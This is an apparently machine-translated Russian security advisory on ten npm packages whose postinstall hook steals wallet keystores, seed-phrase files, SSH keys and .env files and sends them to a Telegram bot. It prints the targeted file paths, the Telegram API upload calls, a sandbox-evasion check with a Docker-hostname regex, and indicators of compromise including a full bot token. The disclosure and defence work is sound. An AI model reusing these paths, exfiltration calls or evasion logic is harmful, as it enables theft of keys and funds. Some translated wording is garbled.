SeedSweep: Десять вредоносных криптопакетов npm

SeedSweep: Десять npm-пакетов на криптографическую тематику, которые запускаются только тогда, когда никто не наблюдает.

TL, д-р

9 июня 2026 года был создан единственный аккаунт издателя npm. aicrypto-xzggg, отправленный десять пакетов с названиями, отсылающими к криптографии и Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9и еще шесть.

Каждый пакет перевозит один и тот же полезный груз. postinstall хук. При установке он проверяет, работает ли он внутри CI или в песочнице — если нет, то считывает хранилища ключей кошельков, файлы сид-фраз, SSH-ключи и .env собирает файлы из шести блокчейн-экосистем и передает их Telegram-боту.

Единственный признак, который защитник может немедленно отследить, — это идентификатор бота в Telegram. 8227918239.

Уровень опасности: критической — прямая кража ключей подписи и фраз восстановления из рабочие станции разработчиков.

Атака: как она работает

Эти пакеты позиционируют себя как утилиты для разработчиков блокчейна. пакет.json Он минималистичен и направляет цикл установки на скрипт:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js Это однолинейная прокладка, которая загружает реальную полезную нагрузку: require(“../src/index.js”), Потому как послеустановка запускается автоматически во время Установка npmПри этом разработчику не требуется импортировать код — для его выполнения достаточно поместить пакет в дерево зависимостей.

Цепочка уничтожения внутри SRC / index.js Это четыре шага:

  1. Экологическая проверка. Функция-защитник определяет, будет ли хост выглядеть как агент сборки или как песочница анализа.
  2. Задерживать. Выполнение откладывается за setTimeout примерно 7.4 секунды.
  3. Коллекция. Просматривается фиксированный список путей к файлам кошелька, ключа и секрета; существующие файлы добавляются в очередь.
  4. Эксфильтрация. Файлы, находящиеся в очереди, отправляются в Telegram-боту, перед отправкой им отправляется краткое сообщение.

Список целевых объектов сбора данных охватывает шесть блокчейнов, а также общие секреты разработчиков. (Сокращено:)

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Всего двадцать один путь. Записи в каталоге, такие как: ~/.ethereum/keystore файлы разворачиваются, и каждый файл внутри ставится в очередь. Эксфильтрация осуществляется напрямую с использованием API бота Telegram — SendMessage вызов с кратким описанием хоста и файла, затем отправитьдокумент Многопоточная загрузка для каждого файла:

текст

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Сводное сообщение, которое формирует код, начинается со строкового литерала. КРАДИЛЬЩИК КРИПТОВАЛЮТЫЗатем следуют имя хоста, имя пользователя, имя исходного пакета, количество файлов и метка времени.

Что здесь нового

Отличительной особенностью является не механизм кражи — инструмент для извлечения данных через Telegram от npm. послеустановка hooks Это хорошо известно. Это Контрольная точка. Прежде чем что-либо сделать, полезная нагрузка вызывает функцию, которая возвращает true, когда хост напоминает среду выполнения CI или песочницу, и завершает работу раньше, когда это происходит:

текст

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Важнейшее условие — регулярное выражение для идентификатора контейнера: имя хоста из 12 шестнадцатеричных символов — это стандартная структура, которую Docker присваивает контейнеру. контейнерТаким образом, полезная нагрузка рассматривает фразу «имя моего хоста похоже на контейнер Docker» как причину для перехода в спящий режим. В сочетании с семисекундной задержкой, такая конструкция способствует запуску на реальной рабочей станции разработчика и обеспечивает скрытность в любом месте, где может происходить автоматический анализ. Именно этот механизм подавлял сигналы динамического анализа и сохранял статический поток утечки данных в качестве основного доказательства вины.

Лента

Дата (UTC)События
2026-06-09 ~02:48Первые пакеты в кластере отмечены как опубликованные (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25Отмечены участники более высоких версий (ethereum-kit-9 в 1.25.36, wallet-sdk-9 в 3.7.73)
2026-06-09 ~03:58–03:59Отмечены последние участники (defi-tools-39 в 4.26.29, swap-sdk-87 в 4.63.78, farming-tools-12 в 4.68.54)
2026-06-09Все десять признаны вредоносными и внесены в реестр для удаления.

Все десять сообщений появились примерно за семьдесят минут, что соответствует единому запланированному циклу публикации с одного аккаунта.

Показатели компромисса

Сетевые и поведенческие индикаторы (хозяин обезврежен):

ИндикаторныеЗначение
Конечная точка эксфиapi[.]telegram[.]org (API Telegram-бота)
ID Telegram-бота8227918239
токен бота8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID чата в Telegram6433587894
Установить крючокpostinstallscripts/postinstall.jssrc/index.js
Строка маркераCRYPTO STEALER в собранном сводном сообщении
Издательaicrypto-xzggg (указанный адрес электронной почты) vipsyria88@gmail[.]com(непроверено)

Пакеты и версии, каждая с хешем SHA-256. SRC / index.js полезная нагрузка (полезные нагрузки функционально идентичны и отличаются только встроенной меткой имени пакета, поэтому каждый хеш уникален):

HTML
УпаковкаВерсияSHA-256 файла src/index.js
farming-tools-124.68.54b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-874.63.789d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-394.26.29ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-93.7.73ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-91.25.36c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-11.0.01147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-41.0.093c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-91.0.0db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-71.0.059f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-01.0.0053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Простой поисковый запрос: выполните поиск в журналах установки и файлах блокировки по любому из десяти имен, а также выполните поиск в исходящем трафике подключений к API Telegram-бота с хостов сборки или разработки, которые его не используют.

Атрибуция и наблюдаемое поведение

Все десять пакетов были опубликованы с одного аккаунта. aicrypto-xzggg, чей указанный адрес электронной почты vipsyria88@gmail[.]comИ адрес электронной почты, и ссылка на систему контроля версий не подтверждены в метаданных реестра, и учетная запись имеет крайне отрицательный рейтинг репутации. Мы не подтвердили, кто управляет этой учетной записью.

Два момента заслуживают отдельного внимания при определении личности. Во-первых, пакет.json автор чтение полей Алекс Смит на каждой упаковке, в то время как фактический издательский счет указан aicrypto-xzgggПоле «автор» представляет собой самодекларируемые метаданные и не устанавливает авторство. Во-вторых, номера версий сильно различаются — некоторые участники занимают должности с номерами версий более 100. 1.0.0, другие в 4.68.54 — что соответствует повторному использованию одной и той же полезной нагрузки в новых именах пакетов, а не сохранению реальной истории релизов.

Поведение в кластере одинаково: один и тот же список целевых путей, один и тот же идентификатор бота Telegram и идентификатор чата, один и тот же шлюз среды, один и тот же КРАДИЛЬЩИК КРИПТОВАЛЮТЫ маркер. Эта однородность — самая сильная связь между пакетами. Это сигнал от одного и того же оператора, а не идентификатор.

Влияние, тенденции и рекомендации для защитников

Уязвимость очевидна. Разработчик, установивший любой из этих пакетов на рабочую станцию, на которой находится программный кошелек, файл с сид-фразой или SSH-ключ, получает доступ к этим файлам, которые считываются и передаются с хоста в течение нескольких секунд. Фразы восстановления и ключи подписи не истекают, как токены сессии; как только... mnemonic.txt или Солана id.json Если автомат покидает устройство, то контролируемые им средства находятся под угрозой до тех пор, пока их не переместят. В ходе того же процесса также происходит захват средств. .env файлы, которые обычно содержат ключи API и учетные данные базы данных.

За этой группой проблем стоят две тенденции. Первая — это продолжающееся использование названий, связанных с криптовалютами и Web3, для привлечения определенной аудитории — разработчиков, которые хранят кошельки и ключи на той же машине, на которой устанавливают зависимости. Вторая — это совершенствование методов обхода песочницы в полезных нагрузках, устанавливаемых во время выполнения. Проверка переменных среды CI, имен пользователей исполнителей и имени хоста контейнера Docker — это преднамеренная попытка вести себя иначе при анализе, чем на реальной рабочей станции, и это повышает планку для чисто динамического обнаружения.

Для защитников:

Установка выполняется без отключения скриптов по умолчанию. npm install –ignore-scripts, или установить ignore-scripts=true in .npmrc, мешает послеустановка Выполнение; включать скрипты только для тех зависимостей, которые действительно в них нуждаются.

Храните электронные кошельки и ключи подписи вне сборочных и тестовых машин. Используйте аппаратный кошелек или выделенный хост для подписи, не зависящий от каких-либо зависимостей.

Рассматривать .envХранилища ключей и файлы сид-фраз считаются «жемчужинами короны». Они никогда не должны находиться в каталоге, который также является каталогом... Установка npm рабочее дерево.

Найдите исходящие соединения с API Telegram-бота из CI и среды разработки. В большинстве сред сборки он никогда не используется; если же соединение внезапно появляется сразу после установки, стоит провести расследование.

Закрепите и проверьте зависимости. Совершенно новый пакет с универсальным криптографическим именем, послеустановка хук, и ни одна ссылка на репозиторий не требует проверки перед тем, как попасть в файл блокировки.

Пункт об обходе идентификатора контейнера также служит напоминанием для аналитиков: полезная нагрузка, устанавливаемая во время выполнения и остающаяся в спящем режиме в песочнице, не является безобидной, она носит избирательный характер. Статический анализ пути установки остается надежным способом определить, что может не отобразиться при динамическом выполнении.

Референсы

Документация по команде npm install — скрипты жизненного цикла и –Ignore-scripts— Инструкция по отключению автоматической установки hooks. 

sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
Получите бесплатный аккаунт.
Нет необходимости кредитную карту.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni